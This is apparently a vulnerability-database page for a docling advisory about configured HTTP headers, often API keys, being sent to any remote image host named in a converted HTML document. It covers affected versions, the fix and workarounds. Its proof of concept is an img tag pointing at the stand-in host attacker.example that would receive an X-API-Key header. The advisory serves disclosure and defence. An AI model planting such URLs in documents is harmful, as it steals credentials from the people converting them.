All vulnerabilities
CVE-2026-105742GHSA-p3fw-7699-7926PYSEC-2026-4189PYSEC-2026-4212

Docling: Configured HTTP headers sent to every remote image host named by a document

docling-project doclingpipLibraries & packages
Open in ThreatlineRecord JSON
CVSS
3.7Low
ExploitationPublic exploit codeCISA's assessment says proof of concept code is public, assessed 6 Oct 2026. Not in the KEV catalogCISA via CVE List
Exploit odds (EPSS)0.23%Chance of exploitation activity in the next 30 days, higher than 12% of CVEs. Scored 23 Oct 2026FIRST EPSS
Fixed in2.132.0Fixed versionGitHub
Published5 Oct 2026Updated 15 Oct 2026CVE List

What fixes it

  • 2.132.0docling, pipGitHub
  • 2.132.0docling-slim, pipGitHub
  • 2.132.0docling, PyPIOSVpip install "docling>=2.132.0"
  • 2.132.0docling-slim, PyPIOSVpip install "docling-slim>=2.132.0"

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Summary

HTMLBackendOptions.headers is documented for passing authentication headers (API keys, bearer tokens) when fetching remote images. docling sends these headers on every remote image request, to whichever host the document names. An untrusted document that references an attacker-controlled image URL receives the caller's credentials.

Details

docling/backend/utils/image_resource_loader.py merges options.headers into each remote request without checking the destination against the source document's origin. requests strips only Authorization on a cross-host redirect, so custom headers such as X-API-Key or Cookie are also forwarded across redirects.

Affected configurations

  • Affected: callers that set headers together with enable_remote_fetch=True and fetch_images=True (CLI: --html-image-headers with --html-image-fetch remote or all), and convert untrusted HTML.
  • Not affected: the default configuration.

Impact

Disclosure of the configured request headers, typically credentials, to a host chosen by the document author.

Proof of concept

<img src="https://attacker.example/pixel.png">

Converting this file with HTMLBackendOptions(enable_remote_fetch=True, fetch_images=True, headers={"X-API-Key": "..."}) sends the key to attacker.example.

Other items from the original report (DNS validation and unvalidated browser requests) are tracked in GHSA-pc36-qwjq-x68c.

Patches

Fixed in docling 2.132.0 by #4420. Configured headers are now sent only to the origin of the source document, checked on every redirect hop, and no longer to other hosts named by the document.

Workarounds

Upgrade to 2.132.0. For older versions:

Do not set headers when converting untrusted documents, or use credentials that are valid only for the intended host and have no other value.

Text from GitHub Advisory Database

Affected versions 94

  • docling, pip>= 2.95.0, < 2.132.0GitHub
  • docling-slim, pip>= 2.95.0, < 2.132.0GitHub
  • doclingaffected: >= 2.95.0, < 2.132.0CVE List
  • docling-slimaffected: >= 2.95.0, < 2.132.0CVE List
  • docling, PyPIfrom 2.95.0, fixed in 2.132.0OSV
  • docling, PyPI2.100.0OSV
  • docling, PyPI2.101.0OSV
  • docling, PyPI2.102.0OSV
  • docling, PyPI2.102.1OSV
  • docling, PyPI2.102.2OSV
  • docling, PyPI2.103.0OSV
  • docling, PyPI2.104.0OSV
  • docling, PyPI2.105.0OSV
  • docling, PyPI2.106.0OSV
  • docling, PyPI2.107.0OSV
  • docling, PyPI2.108.0OSV
  • docling, PyPI2.109.0OSV
  • docling, PyPI2.110.0OSV
  • docling, PyPI2.111.0OSV
  • docling, PyPI2.112.0OSV
  • docling, PyPI2.113.0OSV
  • docling, PyPI2.114.0OSV
  • docling, PyPI2.115.0OSV
  • docling, PyPI2.116.0OSV
  • docling, PyPI2.117.0OSV
  • docling, PyPI2.118.0OSV
  • docling, PyPI2.118.1OSV
  • docling, PyPI2.119.0OSV
  • docling, PyPI2.120.1OSV
  • docling, PyPI2.120.2OSV
  • docling, PyPI2.120.3OSV
  • docling, PyPI2.121.0OSV
  • docling, PyPI2.122.0OSV
  • docling, PyPI2.123.0OSV
  • docling, PyPI2.123.1OSV
  • docling, PyPI2.124.0OSV
  • docling, PyPI2.125.0OSV
  • docling, PyPI2.126.0OSV
  • docling, PyPI2.127.0OSV
  • docling, PyPI2.128.0OSV
  • docling, PyPI2.129.0OSV
  • docling, PyPI2.130.0OSV
  • docling, PyPI2.131.0OSV
  • docling, PyPI2.95.0OSV
  • docling, PyPI2.96.0OSV
  • docling, PyPI2.96.1OSV
  • docling, PyPI2.97.0OSV
  • docling, PyPI2.98.0OSV
  • docling, PyPI2.99.0OSV
  • docling-slim, PyPIfrom 2.95.0, fixed in 2.132.0OSV
  • docling-slim, PyPI2.100.0OSV
  • docling-slim, PyPI2.101.0OSV
  • docling-slim, PyPI2.102.0OSV
  • docling-slim, PyPI2.102.1OSV
  • docling-slim, PyPI2.102.2OSV
  • docling-slim, PyPI2.103.0OSV
  • docling-slim, PyPI2.104.0OSV
  • docling-slim, PyPI2.105.0OSV
  • docling-slim, PyPI2.106.0OSV
  • docling-slim, PyPI2.107.0OSV
  • docling-slim, PyPI2.108.0OSV
  • docling-slim, PyPI2.109.0OSV
  • docling-slim, PyPI2.110.0OSV
  • docling-slim, PyPI2.111.0OSV
  • docling-slim, PyPI2.112.0OSV
  • docling-slim, PyPI2.113.0OSV
  • docling-slim, PyPI2.114.0OSV
  • docling-slim, PyPI2.115.0OSV
  • docling-slim, PyPI2.116.0OSV
  • docling-slim, PyPI2.117.0OSV
  • docling-slim, PyPI2.118.0OSV
  • docling-slim, PyPI2.118.1OSV
  • docling-slim, PyPI2.119.0OSV
  • docling-slim, PyPI2.120.1OSV
  • docling-slim, PyPI2.120.2OSV
  • docling-slim, PyPI2.120.3OSV
  • docling-slim, PyPI2.121.0OSV
  • docling-slim, PyPI2.122.0OSV
  • docling-slim, PyPI2.123.0OSV
  • docling-slim, PyPI2.123.1OSV
  • docling-slim, PyPI2.124.0OSV
  • docling-slim, PyPI2.125.0OSV
  • docling-slim, PyPI2.126.0OSV
  • docling-slim, PyPI2.127.0OSV
  • docling-slim, PyPI2.128.0OSV
  • docling-slim, PyPI2.129.0OSV
  • docling-slim, PyPI2.130.0OSV
  • docling-slim, PyPI2.131.0OSV
  • docling-slim, PyPI2.95.0OSV
  • docling-slim, PyPI2.96.0OSV
  • docling-slim, PyPI2.96.1OSV
  • docling-slim, PyPI2.97.0OSV
  • docling-slim, PyPI2.98.0OSV
  • docling-slim, PyPI2.99.0OSV

References 6